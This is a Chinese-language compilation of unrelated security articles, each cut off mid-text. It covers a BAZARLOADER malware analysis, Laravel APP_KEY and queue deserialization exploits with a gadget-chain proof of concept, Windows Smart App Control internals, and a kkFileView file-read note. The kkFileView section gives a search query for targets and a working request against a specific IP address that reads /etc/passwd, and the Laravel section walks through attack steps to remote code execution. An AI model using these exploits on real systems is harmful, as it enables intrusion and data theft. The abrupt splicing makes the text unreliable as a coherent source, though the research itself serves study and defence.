這個惡意軟件會解析字符串“RSA”和“SHA384”,並調用BCryptOpenAlgorithmProvider來獲取這兩個算法的句柄。句柄存儲在crypto_struct結構中的相應字段中。

10-.png

接下來,它解析內存中硬編碼的RSA公鑰和私鑰blob,以導入相應的密鑰句柄。

11-.png

對於每個blob,惡意軟件會解析字符串“RSAFULLPRIVATEBLOB”或“RSAPUBLICBLOB”,並使用它指定blob的類型時調用BCryptImportKeyPair導入相應的密鑰句柄。

12-.png

最後,它調用BCryptGetProperty來檢索RSA公鑰和私鑰密碼塊的長度。在完全填充了這個結構之後,BAZARLOADER現在可以執行RSA加密/解密以及SHA384哈希。

第5步:通過原始IP地址進行C2連接在與C2服務程序通信之前,BAZARLOADER首先解析原始IP地址列表並將它們寫入主結構中的C2_addr_list字段。

該字段是一個表示字符串結構列表的結構,可以如下所示重新構建兩個字符串結構。

10.png

下面是此示例中使用的C2服務程序的所有IP地址的列表。

11.png

對於其中的每個地址,惡意軟件都會嘗試與相應的服務程序通信並下載下一階段的可執行文件。

要建立連接,它會填充以下結構。

12.png

惡意軟件調用InternetCrackUrlA來檢索C2的URL組件和InternetConnectA以連接到服務程序。

13.png

然後將此連接結構的字段複製到主結構的C2_connection_struct中。不過,我不完全確定他們為什麼不直接填充主要結構。

14.png

同樣,BAZARLOADER填充下面的結構以創建對C2的HTTP請求。請求的對象名稱和HTTP動詞被解析為“/data/service”和“GET”。

13-.png

請求的HTTP版本被解析為“HTTP/1.1”,並且BAZARLOADER調用HttpOpenRequestA來使用上面檢索到的連接句柄為C2服務器創建此請求。

它還調用InternetSetOptionA設置接收響應和發送請求的超時時間為300秒,連接C2的超時時間為120秒。

14-.png

BAZARLOADER然後生成附加到請求的HTTP標頭。它通過調用GetSystemTime來使用當前日期和時間填充主結構的curr_system_time和datetime_string字段來實現這一點。

它還生成日期時間字符串的SHA384哈希,以填充結構的datetime_string_hash和datetime_string_hash_len字段。

15-.png

接下來,BAZARLOADER通過調用BCryptSignHash使用其RSA私有簽名生成的哈希,並使用此哈希簽名隨機生成HTTP標頭。

下面是隨機HTTP標頭的形式。

BAZARLOADER的HTTP標頭

16-.png

使用生成的HTTP標頭和請求句柄,BAZARLOADER調用HttpSendRequestA將請求發送到C2服務程序並調用HttpQueryInfoA來檢索狀態碼。

如果狀態碼不是HTTP_STATUS_OK,惡意軟件會轉移到另一個C2地址。

17-.png

如果狀態碼為HTTP_STATUS_OK,BAZARLOADER調用InternetQueryDataAvailable確定要讀取的數據大小,根據大小分配內存緩衝區,並調用InternetReadFile讀取下一階段的有效載荷,直到所有內容都寫入內存。

18-.png

最後,惡意軟件通過調用BCryptDecrypt使用其RSA公鑰解密有效負載,並檢查以確保有效負載的大小大於64字節並且包含MZ標頭。

19-.png

第6步:通過自定義URL進行C2連接如果BAZARLOADER無法從上面列出的IP地址下載下一階段的可執行文件,它會嘗試使用用戶擁有的DNS社區服務OpenNIC解析自定義C2域。

為了開始查詢OpenNIC的API,惡意軟件首先解析URL“api.opennicproject.org”並調用InternetConnectA建立與該網站的連接。

20-.png

接下來,它調用HttpOpenRequestA以創建對象名稱為“/geoip/?bareipv=4wl=allres=8”的GET請求句柄,並使用HttpSendRequestA發送請求。

通過檢查OpenNIC的API,我們可以分解此對象名稱以查看BAZARLOADER請求的內容。其中“bare”參數只列出DNS服務器的IP地址,“IPv4”參數只列出IPv4服務器,“wl”參數只列出白名單服務器,“res”參數只列出8個服務器。

為了測試這一點,我們可以簡單地將下面的路徑粘貼到我們選擇的瀏覽程序中。

14--.png

然後惡意軟件進入循環調用InternetQueryDataAvailable和InternetReadFile來讀取8個OpenNIC的DNS服務器到內存中。

15--.png

對於每個DNS服務程序IP地址,BAZARLOADER將其從字符串解析為int並填充主結構中的opennic_server_struct字段。下面是用於存儲OpenNICIP地址的結構。

16--.png

最後,惡意軟件解碼以下自定義C2域,嘗試使用DNS服務程序解析它們,並下載下一階段的可執行文件。

17--.png

對於每個自定義域,BAZARLOADER調用DnsQuery_A從OpenNIC的服務程序查詢DNS資源記錄,以解析C2服務程序的IP地址。

18.png

在檢查IP地址是否有效後,惡意軟件會嘗試連接它並請求下載下一階段的可執行文件,類似於我們在上一步中看到的。

19.png

第7步:通過process hollowing技術注入成功下載下一階段可執行文件之後,BAZARLOADER開始注入功能,從另一個進程啟動它。

對於此功能,BAZARLOADER填充以下結構。

20.png

首先,它檢查它的進程是否被提升為管理權限。它調用GetCurrentProcess和OpenProcessToken來檢索自己的進程令牌句柄,並調用GetTokenInformation來獲取令牌的提升信息。

Laravel 是一個廣泛使用的開源PHP Web 框架。它可用於相對輕鬆地創建複雜的Web 應用程序,並在許多流行的項目中使用。

在最近對該應用程序的滲透測試中,我們獲得了對框架環境文件的訪問權限。該文件包含許多敏感的Laravel 配置設置,包括應用程序APP_KEY 。

APP_KEY 用於多個與安全相關的任務,在過去,APP_KEY的信息是獲得遠程代碼執行的可靠方法,因為它用於對(序列化的)XSRF令牌簽名。了解APP_KEY的攻擊者能夠創建惡意的XSRF令牌,然後使用已知的小工具鏈,通過不安全的反序列化(CVE-2018-15133)導致RCE。

由於Lavel 5.6.30 默認禁用cookie 序列化。因此,APP_KEY不再授予一個有保證的RCE,攻擊者需要在攻擊路徑上更有創意一點。在這篇文章中,我們會重點介紹攻擊者可以利用洩露的環境文件利用的一些替代攻擊媒介。

APP_KEY 基礎知識Laravel 期望它的環境文件.env 在應用程序的根文件夾中。該文件包含幾個Laravel 配置設置,包括APP_KEY、數據庫憑據和常規設置等機密信息。文件內容的洩露(例如通過任意文件讀取漏洞)會產生嚴重影響,因為洩露的信息可能會以多種方式被濫用。

最顯著的秘密是APP_KEY,它經常可以被濫用來獲得RCE。使用APP_KEY 的最值得注意的函數是:

1.Laravel 的默認“encrypt()”和“decrypt()”函數。如果開發人員想要加密或解密任何值或對象,那麼他們很可能會使用這些函數。它們也被用來加密Laravel的會話cookie,從而進行篡改保護。

2.Laravel 還具有創建防篡改簽名URL 的內置功能。此外,大多數簽名函數使用應用程序APP_KEY 作為機密。

3.在復雜的Web 應用程序中,你可能會看到需要對時間不敏感的任務進行排隊(例如發送提醒郵件)。這樣的任務可以通過Laravel 隊列來處理。由於隊列對象可能存儲在外部,它們也使用APP_KEY 進行簽名。

我們將簡要討論過去利用APP_KEY的方式和原因,以及當前最常用的利用方式。然後,我們將詳細討論通過Laravel隊列提供程序進行攻擊的情況,它允許攻擊者利用Laravel實例,甚至不需要APP_KEY。

Laravel隊列可以通過各種隊列提供程序實現,如Amazon SQS,Redis,local等,在我們的示例中,我們將重點討論如何利用在Amazon SQS中實現的隊列。

過去的攻擊媒介讓我們首先快速了解一下過去Laravel是如何通過不安全的反序列化被利用的。在5.6.30版本之前,Laravel默認對Laravel會話cookie進行序列化和反序列化。與許多其他語言一樣,這為反序列化攻擊打開了大門。

一旦攻擊者獲得對APP_KEY 的訪問權限,他們還可以將任意對象簽名或加密為cookie。攻擊者可以簡單地使用已知的PHP 小工具鏈(例如PHPGGC)創建一個惡意序列化對象,對惡意對象進行簽名,然後將其發送到會話cookie 的位置。 Laravel 試圖反序列化惡意製作的會話cookie,並觸發了小工具鏈的安全相關副作用(通常是RCE)。

在2018 年8 月發布的Laravel v5.6.30 之前,這種利用路徑是可能的。

負責解密cookie的代碼(Laravel 5.4)可以在以下中間軟件代碼片段中找到。中間軟件提取cookie,並將它們發送到加密器類進行解密。

1.png

乍一看,這段代碼似乎還不錯。然而,decrypt()函數有第二個默認參數unserialize=true(請參閱Laravel API 文檔),它定義了在解密過程中必須對傳遞的(加密的)值進行反序列化。

2.png

可以看到,解密後Laravel 嘗試反序列化攻擊者控制的cookie(惡意序列化對象),這會觸發PHPGGC 小工具鏈的安全相關副作用。現在cookie 處理行為已經改變,Laravel調用解密函數時無需對內容進行反序列化。這可以防止先前已知的帶有洩露APP_KEY 的簡單利用路徑:

3.png

目前的利用由於現在的利用並不那麼簡單,我們需要一些其他的攻擊媒介。

濫用其他不安全的“decrypt()”調用在理想的攻擊場景中,易受攻擊的Laravel 應用程序仍然會簡單地反序列化一個用戶控制的對象,該對象受APP_KEY 的篡改保護。當我們分析一些流行的Laravel 應用程序和擴展時,我們注意到一些開發人員犯了與Laravel 的會話cookie 相同的錯誤。因為“decrypt(…)”函數默認反序列化對象,所以開發人員很容易忽略將攻擊者控制的加密內容輸入其中,即使他們並不期望得到PHP對象。

例如,Laravel Package 的OPcache 就是這種情況,這是一個幫助開發人員處理PHP OPcache 的插件。該軟件包安裝了一個中間軟件控制器,用於處理對laravel-opcache 的所有請求。 opcache 處理程序通過提取和解密密鑰URL 參數來執行授權檢查。這是通過使用默認的“解密”函數而不禁用值的反序列化來完成的。在以下代碼片段的第13 行中,可以看到如何使用默認值$unserialize=true 解密密鑰值。

4.png

如果攻擊者知道APP_KEY ,他們可以通過以下方式利用易受攻擊的Laravel 實例:

1.創建惡意的序列化PHP對象;

2.使用洩漏的APP_KEY加密對象;

3.將有效負載發送到易受攻擊的opcache處理程序:https://

4.應用程序將嘗試不安全地解密攻擊者控制的對象。

利用Laravel 隊列以下漏洞利用路徑在Laravel 8 和Laravel 9.2.0 上進行了測試。

按照設計,Laravel 隊列需要在(外部)隊列提供程序中臨時存儲任務和對象。為了防止在靜止時被篡改,這些對象的部分簽名都是使用APP_KEY的。

在研究中,我們發現Laravel 在簽名驗證檢查之前不安全地處理隊列對象。這允許任何可以訪問配置隊列(例如AWS SQS 訪問)的攻擊者獲得遠程代碼執行,即使不知道APP_KEY。

要理解這個問題,我們需要對隊列對象結構有一個大致的了解。通常,隊列對象包含以下(對我們來說很重要)元素:

job -將作業排隊的類;

data -保存我們將執行的實際隊列命令的數據對象;

data.commandName -命令的名稱;

data.command -作為序列化對象的實際命令;

data.command.hash - data.command 的簽名,防止篡改。

5.png

命令對象包含一個哈希,它確保序列化的對像沒有被篡改。但是,由於哈希是序列化PHP 對象的一部分,因此只能在對象未序列化後執行此檢查。

因此,在執行對命令對象的非序列化調用時沒有事先進行任何驗證,這導致了不安全的反序列化漏洞。

隊列命令的不安全反序列化攻擊者可以通過將惡意作業注入Laravel 隊列來利用命令對象的不安全反序列化。

我們使用Laravel 框架本身實現了一個PoC 漏洞利用,這樣我們就可以輕鬆地重用該功能而無需大量複製粘貼。在Laravel 中,你可以使用dispatch 函數將對象分派到隊列中,如下面的代碼片段所示。

6.png

隊列對像在Illuminate 類Illuminate\Queue\Queue 中處理。此類處理隊列對象的創建,該隊列對象將被序列化並稍後發送到隊列中。出於利用目的,我們可以修復createObjectPayload() 函數。在修復的函數中,我們將合法的命令對象替換為惡意製作的序列化對象。

7.png

在示例中,我們使用了來自PHP 反序列化庫PHPGGC 的PendingBroadcast Gadget 鏈(Laravel/RCE9)。

特別是,我們使用了這個鏈,因為它在所有最近的Laravel版本中都有效,並且在鏈中使用了魔術方法__destruct。基於__toString 魔術方法的小工具鏈不起作用,因為Queue 處理程序從不將我們的惡意Queue 對像作為字符串處理,因此不會觸發這些鏈。

如果我們現在看一下作業對象,我們將在命令部分看到我們的反序列化小工具。因為我們以一種非常快速和不方便的方式替換了命令對象,所以對像沒有使用哈希簽名。然而,這無關緊要,因為一旦命令被反序列化,目標就會被利用。

微信截图_20220921100706.png

此時我們只需要等到目標處理隊列中的惡意作業即可。在此過程中,應用程序將嘗試通過從作業對像中反序列化命令對象來獲取命令對象。以下代碼片段顯示瞭如何在作業命令上調用反序列化函數。

請注意,Laravel 還允許用戶使用加密的命令對象。如前所述,加密或解密需要有效的APP_KEY 才能利用。但是,只要我們的命令以字符串O: 開頭(表示序列化PHP 對像中的“對象”),Laravel 將始終嘗試以明文形式反序列化我們的攻擊者控制的命令(第4-6 行)。

9.png

攻擊者控制的命令成功反序列化後,隊列例程繼續。稍後,Laravel 注意到命令對像沒有預期的格式。應用程序將拋出異常,然後嘗試清理無效的惡意對象。在清理過程中,我們的小工具鏈的魔術方法__destroy 被調用,攻擊者控制的命令touch /tmp\/pwnedThroughQueue 被執行。

10.webp.jpg

總而言之,Laravel 在調用對象的反序列化之前不會驗證隊列作業中的命令對象。因此,有權訪問隊列(SQS、Redis 等)的攻擊者可以在不知道APP_KEY 的示例中獲得RCE。如果攻擊者通過不公開APP_KEY 的漏洞獲得對隊列的訪問權限,則這種攻擊場景特別有趣。 (例如,隊列連接的硬編碼或易於猜測的憑據,或洩露的AWS 訪問令牌)。

利用由於隊列閉包的任意作用域此漏洞利用路徑也適用於Laravel 隊列閉包。閉包是“需要在當前請求週期之外執行的簡單任務”,它們允許攻擊者通過隊列執行任意PHP 代碼。

然而,在本例中,攻擊者需要訪問隊列和APP_KEY。如果Laravel 環境文件被公開,則通常會滿足這些條件,因為該文件包含所有必要的信息。與前面的示例不同,這種方法不依賴於反序列化,因此如果沒有可用的小工具鏈可用,它也可以工作。

如下所示,可以使用以下代碼片段將閉包分派到隊列中:

11.png

我們首先假設隊列閉包通常期望在用戶定義的類上運行,在用戶定義的作用域內,例如Podcast 類或Newsletter 類。此外,我們認為隊列閉包中的函數需要實際存在。然而,這兩個假設都是錯誤的。只要隊列關閉作業中的作用域存在,攻擊者就可以執行任意PHP 代碼。

作為概念證明,我們修改了現有的供應商類(在我們的攻擊者環境中)Illuminate\Cookie\Middleware\EncryptCookies 以包含我們的惡意sendMaliciousClosure() 函數。 EncryptCookies 類應該存在於所有Laravel 項目中,因此作用域應該始終存在。請注意,我們也可以通過反射手動更改前面提到的作業對象內的作用域。

首先,我們更改EncryptCookies 類,如以下代碼片段(第11-18 行)所示。這樣,我們定義了一個閉包,它只是調用shell_exec 來執行任意操作系統命令。然後這個閉包作為作業被分派到配置的Laravel 隊列中。

12.png

我們的惡意關閉可以通過我們自己的Laravel Artisan 命令發送,如以下代碼片段所示。請注意,我們在EncryptCookies 作用域內靜態調用函數sendMaliciousClosure。這很重要,因為此作用域也需要存在於目標應用程序中。

13.png

在作業調度期間,隊列閉包被創建並使用洩露的APP_KEY 簽名。下面我們可以看到存儲在隊列中的序列化作業。我們的SerializableClosure 可以在命令對像中找到。

當我們向隊列發送一個閉包時,所有需要的函數定義都包含在閉包中:

14.png

同樣,一旦目標應用程序檢索到隊列對象,它就會嘗試(不安全地)反序列化命令對象。完成此操作後,Laravel 使用APP_KEY 驗證哈希。驗證哈希後,Laravel 將嘗試解析作用域App\Http\Middleware\EncryptCookies。如果此作用域存在,則執行攻擊者控制的閉包或代碼。這可以立即得到驗證,因為攻擊者控制的echo 是從目標隊列工作人員的上下文中調用的。

15.webp.jpg

特別是考慮到閉包,值得一提的是,Laravel並不期望通過隊列接受什麼。開發人員唯一需要的設置是Laravel Queue的配置。一旦配置了這個隊列,Laravel就不會檢查它應該處理哪些隊列功能,而是Laravel 會嘗試處理它通過隊列提供的所有內容。該代碼不區分用於處理排隊閉包的隊列或應該只處理Newsletter 類對象的隊列。

開發工具包/測試環境為了驗證這些漏洞,我們創建了一個小型Laravel 測試和利用環境。

你可以按照以下步驟設置環境:

複製測試環境存儲庫:

16.png

手動安裝composer 依賴項(這應該不需要,但我們過去遇到了一些問題):

17.png

設置測試環境:

laravel_victim_app 和laravel_exploit_scope_app 需要有相同的APP_KEY;

laravel_queue_exploit_client_laravel_exploit_1 會有一個隨機的APP_KEY;

你可以在相應的.env 文件中編輯APP_KEY 變量;

所有三個環境文件都需要設置相同的AWS SQS。可以在此處找到有關如何設置的教程。

18.png

為了利用目標,應用程序需要監聽/工作配置的隊列。這可以使用以下命令完成:

微信截图_20220921100325.png

然後可以使用漏洞利用客戶端發送有效負載。以下命令會將作業發送到隊列中,這將利用命令的不安全反序列化:

微信截图_20220921100351.png

下一個命令將通過隊列閉包執行任意PHP 代碼:

微信截图_20220921100414.png

你將看到目標定期處理傳入隊列。成功的利用應該在目標文件系統的/tmp/目錄中創建文件:

22.png

如果你想檢查哪些代碼片段已更改,可以使用grep 查找字符串“惡意更改”(Malicious Changes),該字符串表示在客戶端中更改的代碼段。

23.png

創建惡意簽名URL另一個不太嚴重的利用場景可能是創建簽名URL。使用簽名URL,開發人員可以驗證請求的URL 是否未被篡改。這可以用於各種示例。 Laravel 在官方文檔中描述的一個示例是將簽名URL 用於“取消訂閱”鏈接。在本示例中,簽名鏈接通過驗證防篡改URL的簽名來防止用戶取消訂閱其他鏈接。

大多數示例中,與其他APP_KEY 攻擊向量相比,創建簽名URL 的影響相對較小。但是,讓開發人員依賴簽名URL 來彌補輸入驗證的不足也是可行的,例如防止SQL 注入或IDOR 漏洞。

從以下代碼示例中可以看出,簽名URL 創建過程非常簡單,可以在Laravel Artisan 命令中輕鬆創建:

24.png

總結雖然獲得對洩露的APP_KEY 的訪問權限不再是代碼執行的保證,但仍有許多攻擊場景可以將此目標存檔。

大多數示例中,洩露的APP_KEY 本身不足以利用應用程序。攻擊者總是需要額外的錯誤

本文會詳細分析Windows即將推出的最大安全功能——智能應用控制(Smart App Control,SAC)。

“智能應用控制”功能是什麼,為什麼我認為它是Windows 中最牛的安全功能之一。首先,SAC 會嵌入在操作系統中,啟用後將阻止惡意或不受信任的應用程序。這與AppLocker 非常相似。

Smart App Control 預計將與Windows 22H2 一起發布,Windows 22H2 應該會在今年9 月下旬發布。

SAC 具有三種可能的狀態,其中只有一種會執行這些操作:

強制:將強制阻止惡意或不受信任的應用程序,我們將此狀態標記為1。

評估:在此模式下,該功能將繼續評估你的系統是否適合強制模式下的執行,我們將此狀態標記為2。

關:該功能被禁用。一旦禁用,除非你重新安裝操作系統,否則無法再次激活它,我們將此狀態標記為0。

SAC 安裝了解如何安裝它。此功能需要全新安裝才能激活。如果我們為Build 22621 安裝ISO 並通過install.wim 導航到包含註冊表配置單元的文件夾,那麼我們可以將SYSTEM Hive 加載到註冊表編輯器中。在CI\Policy 項中,我們可以找到值VerifiedAndReputablePolicyState設置為2(評估狀態)。

1.png

同樣在CI 項中,我們有SubKey Protected,我們可以在其中找到以下值VerifiedAndReputablePolicyStateMinValueSeen 也設置為2。

2.png

稍後我們將進一步了解如何使用這些項來控制SAC的實際狀態,我們還將了解如何保護Protected SubKey下的值以避免被篡改。

為了在升級時強制執行此操作,我們可以看到安裝ISO 在CI 的替換清單中有以下代碼:[ISO]\sources\replacementmanifests\codeintegrity-repl.man。

3.png

升級操作系統時,這段代碼將檢查註冊表值HKLM\SYSTEM\CurrentControlSet\Control\CI\Policy\VerifiedAndReputablePolicyState 是否存在,如果不存在,它將以SAC 狀態0(關閉狀態)創建。

除了這兩個新的註冊表值之外,操作系統還將在System32\CodeIntegrity\CiPolicies 文件夾中附帶兩個新的系統完整性策略文件(.cip)。

PolicyGUID:{0283AC0F-FFF1-49AE-ADA1-8A933130CAD6}強制SAC策略,當SAC狀態設置為Enforce(1)時激活;

PolicyGUID:{1283AC0F-FFF1-49AE-ADA1-8A933130CAD6} 評估SAC 策略,當SAC 狀態設置為evaluation (2)時激活;

使用WDACTools 中的CIPolicyParser 腳本,我們將兩個.cip 文件轉換為它們的.xml 表示形式。我們可以從XML 中獲取策略規則來了解這些策略的選項。設置了以下規則,兩個XML 文件都可以在附錄中找到。

啟用:UMCI;

啟用:智能安全圖授權;

啟用:開發者模式動態代碼信任;

啟用:允許補充策略;

啟用:已撤銷已過期未簽名;

啟用:繼承默認策略;

啟用:未簽名的系統完整性策略;

啟用:高級啟動選項菜單;

禁用:腳本執行;

啟用:更新策略不重啟;

啟用:有條件的Windows 鎖定策略;

啟用:審核模式(僅在SAC 評估策略中);

最後,我們可以在System32 文件夾中搜索使用前面提到的註冊表值的二進製文件/模塊。

4.png

SAC 初始化我們將這個部分分為兩個階段。第一階段我們將在Windows加載程序中討論SAC。第二階段我們將在OS初始化期間討論SAC。重要的是要了解加載程序和操作系統都在啟用SAC 中發揮作用。最後,我將添加一個部分來解釋SubKey CI\Protected 下的值保護是如何工作的。

SAC 初始化流程圖如下所示。

5.jpg

Winload 期間的SAC在本節中,我們將討論如何選擇活動SAC 狀態的SAC 策略、Winload 如何強制執行RegKey 之間的持久性和一致性以及如何將SAC 策略傳遞給內核。

6.jpg

SAC初始化的第一步在操作系統加載程序過程中提前完成。更具體地說,在準備目標(OslPrepareTarget) 期間加載SystemHive 之後。為了處理系統完整性策略,將調用函數OslpProcessSIPolicy。在此函數中,將對條件策略(SKU、EMode、SAC Enforce、SAC Evaluation)進行評估,以查看是否應該忽略或解鎖它們。 Microsoft 認為這四個策略是有條件的,因為它們可以被忽略/解鎖,這與始終適用的“MS Windows 驅動程序策略”等其他策略不同。條件策略的策略GUID 存儲在由符號g_SiConditionalPolicies 定義的全局數組中。

忽略和解鎖之間的區別非常微妙。解鎖標誌將一直被選中。另一方面,忽略標誌只會在沒有設置“Enabled:Unsigned System Integrity Policy”的策略中被選中。

要確定是否應為Enforce 或Evaluation 啟用SAC,使用以下兩個函數。

OslpShouldIgnoreUnlockableNightsWatchDesktopEnforcePolicy

OslpShouldIgnoreUnlockableNightsWatchDesktopEvalPolicy這是我們第一次看到引用Nights Watch 來表示SAC,這似乎是微軟的內部名稱。

這兩個函數的行為方式相同,唯一的區別是它們為內部評估函數提供了不同的PolicyGUID:

7.png

此函數使用PolicyGUID 參數來確定要檢查的SAC 狀態。它調用OslpGetNightsWatchDesktopRegKeyState,它返回設備中的實際SAC 狀態。如果實際SAC 狀態與正在評估的狀態匹配,則認為該策略是活動的,這過於簡化了。如果設備是WinPE 或者是否需要簽名策略,則需要進行更多檢查。即使註冊表指示SAC 處於活動狀態,這些檢查也可以使函數返回Ignore 和Unlockable。

OslpGetNightsWatchDesktopRegKeyState 的行為值得一看。此例程負責在重新啟動後保持啟用SAC 並保持兩個註冊表值之間的一致性。此例程有四種可能的情況:

VerifiedAndReputablePolicyState==VerifiedAndReputablePolicyStateMinValueSeen:值是相同的,所以直接返回值。

VerifiedAndReputablePolicyState VerifiedAndReputablePolicyStateMinValueSeen:在上一個啟動會話期間,SAC 狀態被修改。我們從VerifiedAndReputablePolicyState 返回值,並在Protected SubKey下更新該值。

VerifiedAndReputablePolicyState VerifiedAndReputablePolicyStateMinValueSeen:這是一個極端情況,因為VerifiedAndReputablePolicyState 永遠不應大於受保護項下的值。如果有人手動編輯值VerifiedAndReputablePolicyState,我相信這是為了保持兩個值之間的一致性。

值為3或3以上:表示無效狀態轉換並且函數將失敗。

偽代碼總結如下。

8.png

當使用安全應用程序發生SAC 狀態更改時。操作系統將寫入VerifiedAndReputablePolicyState。用戶重新啟動後,此狀態將持續存在於設備中。這意味著在SAC 狀態轉換之後,仍然可以編輯VerifiedAndReputablePolicyState,並且轉換不會在下一次重新啟動後持續存在。這讓我認為微軟只有在安裝更新時才會觸發評估模式的轉換,或者他們會要求重新啟動。顯然,在會話期間發生SAC狀態轉換時,活動策略將被更新。

一旦檢查了所有的條件策略,看看它們是可解鎖的還是應該被忽略。從每個函數獲得的值將寫入以下兩個全局變量:

g_SIPolicyConditionalPolicyConditionUnlockHasBeenMet

g_SIPolicyConditionalPolicyConditionIgnoreHasBeenMet

寫入這些全局變量的值是一個四字節數組,可以用以下結構表示

9.png

在此之後,加載程序將嘗試解析策略文件。首先將每個.cip 文件中的序列化數據加載到內存中(參見BlSIPolicyGetAllPolicyFiles)。然後從SIPolicyParsePolicyData 中的每個文件解析數據,如果有人對細節感興趣,請檢查SIPolicyInitialize 以了解如何將策略的每個部分解析為一個結構。

解析策略後,將檢查忽略和解鎖條件以查看它們是否滿足。如果滿足某個條件,則該策略將被放棄。如果不滿足任何條件,則將使用函數SIPolicySetAndUpdateActivePolicy 將策略設置為活動。

如果設置了策略選項“已啟用:未簽名的系統完整性策略”,則PolicyVersion 和PolicySignersData 將從EFI SecureBoot 私有命名空間中刪除。被刪除的變量名將由PolicyGUID和PolicyVersion/policyysignersdata字符串連接組成,只有當PolicyOptions禁用了“Enabled:Unsigned System Integrity Policy”時,才會創建這些EFI變量。

在下面的輸出中,我們可以看到SetVariable 是如何以大小0 被調用的,這將導致如果找到該變量將被刪除。

10.png

對於這兩個SAC 策略,任何EFI 變量都將被清除。之後,將通過調用SIPolicySetActivePolicy 將策略設置為活動。此調用會將策略添加到將鏈接到全局變量g_SiPolicyCtx 的節點中。 g_NumberOfSiPolicies 將相應地遞增,並且新策略的句柄將存儲在g_SiPolicyHandles 中,此變量是一個包含32 個句柄的數組,因為WDAC 一次在設備上支持多達32 個活動策略。

保存在g_SiPolicyCtx 中的SI_POLICY_CTX 結構的原型如下:

11.png

下圖顯示了三個全局變量。在我的示例中,有三個活動策略,其中一個是SAC 強制執行策略的補充策略,補充策略有助於擴展基本策略以增加策略的信任。

12.png

有了這些信息,加載程序將能夠在加載程序參數塊內構建CI 結構。這是在函數OslBuildCodeIntegrityLoaderBlock 內完成的。這個例程,除其他外,將在函數SIPolicyGetSerializedPoliciesSize 的幫助下獲得序列化SI 策略的大小。該代碼將使用全局變量g_NumberOfSiPolicies 和g_SiPolicyHandles,並且大小將存儲在LOADER_PARAMETER_CI_EXTENSION 的CodeIntegrityPolicySize 字段中。之後,將通過函數SIPolicyGetSerializedPolicies 複製序列化的數據。此數據的偏移量將存儲在字段CodeIntegrityPolicyOffset 中。此信息以及其他CI 信息將存儲在LOADER_PARAMETER_EXTENSION 的CodeIntegrityDataSize 和CodeIntegrityData 字段中,當加載程序轉換到操作系統時,加載程序參數塊作為參數傳遞。

只有序列化的有效負載會被複製。我猜之前所做的所有策略解析主要是檢查策略是否有效,如果無效則觸發SYSTEM_INTEGRITY_POLICY錯誤。還可能使用來自認證或EFI變量策略的值。

這幾乎就是我們將在winload 期間看到的SAC 初始化的全部內容。

下面的捕獲顯示了在轉換到操作系統之前如何設置這些數據。

13.png

操作系統初始化期間的SAC看看內核如何初始化CI。在此之後,我們將了解CI 如何初始化Winload 提供的策略。最後,再看看它如何從這些策略中確定SAC 是否能夠相應地採取行動。

14.jpg

在操作系統初始化期間,更具體地說是在階段1。內核將調用方法CiInitialize(由ci.dll 導出)。該函數主要用於內核和CI 交換API。內核接收SeCiCallbacks,其中包含內核將用於與CI 交互的函數指針。另一方面,CI DLL 接收SeCiPrivateApis,其中包含VSL HVCI 接口等內核函數,因此CI 可以在進行任何HVCI 驗證時通過內核觸發Hypercall。內核還將傳遞初始的CodeIntegrity 選項。這些選項由Windows 加載程序構建並存儲在LOADER_PARAMETER_CI_EXTENSION 中。這些選項最初將包含諸如CodeIntegrity BCD 選項(DisableIntegrityChecks、AllowPrereleaseSignatures、AllowFlightSignatures)和WHQL 設置之類的內容。 CI 選項存儲在全局變量g_CiOptions 中,CI 還將根據從操作系統和策略中檢索到的信息更新它們。

仍然在操作系統的第1 階段期間,內核將在整個CI 回調中調用CiInitializePolicy。該例程將接收LOADER_PARAMETER_CI_EXTENSION 作為第一個參數。該例程將調用它的私有對應項CipInitializeSiPolicy。該函數將調用SIPolicyInitializeFromSerializedPolicies 來驗證、解析和加載來自加載程序參數CI 擴展的序列化策略。與winload 相同,如果策略解析正確,則策略將添加到g_SiPolicyHandles 和g_SiPolicyCtx。更重要的是,如果正確解析了序列化策略,則將調用函數CipUpdateCiSettingsFromPolicies。此方法根據每個策略的PolicyRules 更新全局CI 設置。在此函數中,CI 將通過調用SIPolicyNightsWatchEnabled 檢查是否啟用了SAC。

15.png

這個函數很有趣,我們終於可以開始研究SI 策略結構了。該函數將調用SIPolicyQueryOneSecurityPolicy。該例程具有以下原型:

16.png

這種方法在處理SI策略時經常出現。 Since用於檢查/獲取策略中設置的SecureSettings。策略結構(我個人將該結構命名為SI_POLICY)有以下兩個成員:SecureSettingsCount 和SecureSettingsData。

17.png

解析序列化策略時,所有安全設置所需的內存將被分配並存儲在SecureSettingsData 指針中。每當CI 必須查詢安全設置時,它會調用SIPolicyQueryOneSecurityPolicy 並使用它需要查找的Provider、Key 和ValueName。在內部,該函數會將這三個值存儲在一個結構中,該結構將用作bsearch 函數中的Key。搜索的基礎將設置為策略的SecureSettingsData。 CompareFunction 設置為SIPolicySecureSettingSearchCompare。 CompareFunction 將嘗試將SECURE_SETTINGS_DATA 中的Provider、Key 和ValueName 正在查詢的內容進行匹配。每個值的比較是使用RtlCompareUnicodeString 完成的。

在我們的示例中,當查看是否啟用了SAC(在SIPolicyNightsWatchEnabled 內部)時,傳遞給查詢函數的值如下:

Provider:Microsoft

Key:WindowsLockdownPolicySettings

ValueName:VerifiedAndReputableTrustMode如果在策略中找到安全設置,則認為SAC 已啟用,並將在g_CiPolicyState 中設置值NW_ENABLED (0x4000)。

這些值也以策略的XML 格式顯示。如果你檢查附錄中的實施和評估XML,你將看到此安全設置在兩者中都設置為true。

僅僅為了完成,PolicyState是一個位字段,它可以取以下值(有些值沒有),這些值大多取自函數CiInstrumentSiPolicyInfo的ETW事件元數據。

18.png

下圖顯示了在SIPolicyNightsWatchEnabled 中調用SIPolicyQueryOneSecurityPolicy 之前的狀態,其中SAC 強制策略用於查詢。

HireHackking

kkFileView漏洞总结

0x00 kkFileview存在任意文件读取漏洞

漏洞描述 Keking KkFileview是中国凯京科技(Keking)公司的一个 Spring-Boot 打造文件文档在线预览项目。Keking kkFileview 存在安全漏洞,该漏洞源于存在通过目录遍历漏洞读取任意文件,可能导致相关主机上的敏感文件泄漏。 漏洞影响 kkFileview <=3.6.0 fofa查询 body="kkFileView" 漏洞证明 r12j2c5w4yr13843.png    http://103.39.221.102:8012//getCorsFile?urlPath=file:///etc/passwd yq0vc5iqowd13846.png

0x01 kkFileView SSR 漏洞

